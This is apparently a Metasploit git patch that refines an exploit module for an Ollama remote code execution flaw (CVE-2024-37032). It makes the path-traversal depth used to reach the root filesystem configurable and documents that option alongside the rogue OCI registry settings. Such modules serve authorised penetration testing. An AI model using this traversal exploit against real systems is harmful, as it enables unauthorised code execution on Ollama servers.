From 5aeff61b26e4ffed812ca387751b852f2f5d84d0 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Tue, 24 Feb 2026 17:51:23 +0100 Subject: [PATCH] Fix: Address PR review feedback for Ollama RCE module Co-Authored-By: msutovsky-r7 <190406428+msutovsky-r7@users.noreply.github.com> --- .../exploit/linux/http/ollama_rce_cve_2024_37032.md | 7 +++++++ modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb | 8 +++----- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md b/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md index d5da355d84..2df4d89842 100644 --- a/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md +++ b/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md @@ -46,6 +46,13 @@ curl http://127.0.0.1:11434/api/version Writable directory on the target for payload files. Defaults to `/tmp`. +### DEPTH + +Number of `../` sequences used in the path traversal to reach the root +filesystem from Ollama's blob storage directory. Defaults to `14`, which works +for the standard Docker image. Adjust if the target uses a non-default +`OLLAMA_MODELS` path with a different directory depth. + ### SRVHOST / SRVPORT The address and port for the rogue OCI registry. `SRVHOST` must be a routable diff --git a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb index 6d6d20af1b..fe252780d1 100644 --- a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb +++ b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'metasm' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,6 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => %w[linux], 'Arch' => [ARCH_X64], - 'Payload' => {}, 'Targets' => [ [ 'Linux x64', @@ -78,7 +75,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(11434), OptString.new('TARGETURI', [true, 'Base path to Ollama API', '/']), - OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']) + OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']), + OptInt.new('DEPTH', [true, 'Traversal depth to reach the root filesystem', 14]) ]) end @@ -226,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote end def traversal_digest(path) - "#{'../' * 14}#{path.delete_prefix('/')}" + "#{'../' * datastore['DEPTH']}#{path.delete_prefix('/')}" end def oci_manifest(config_blob, layers)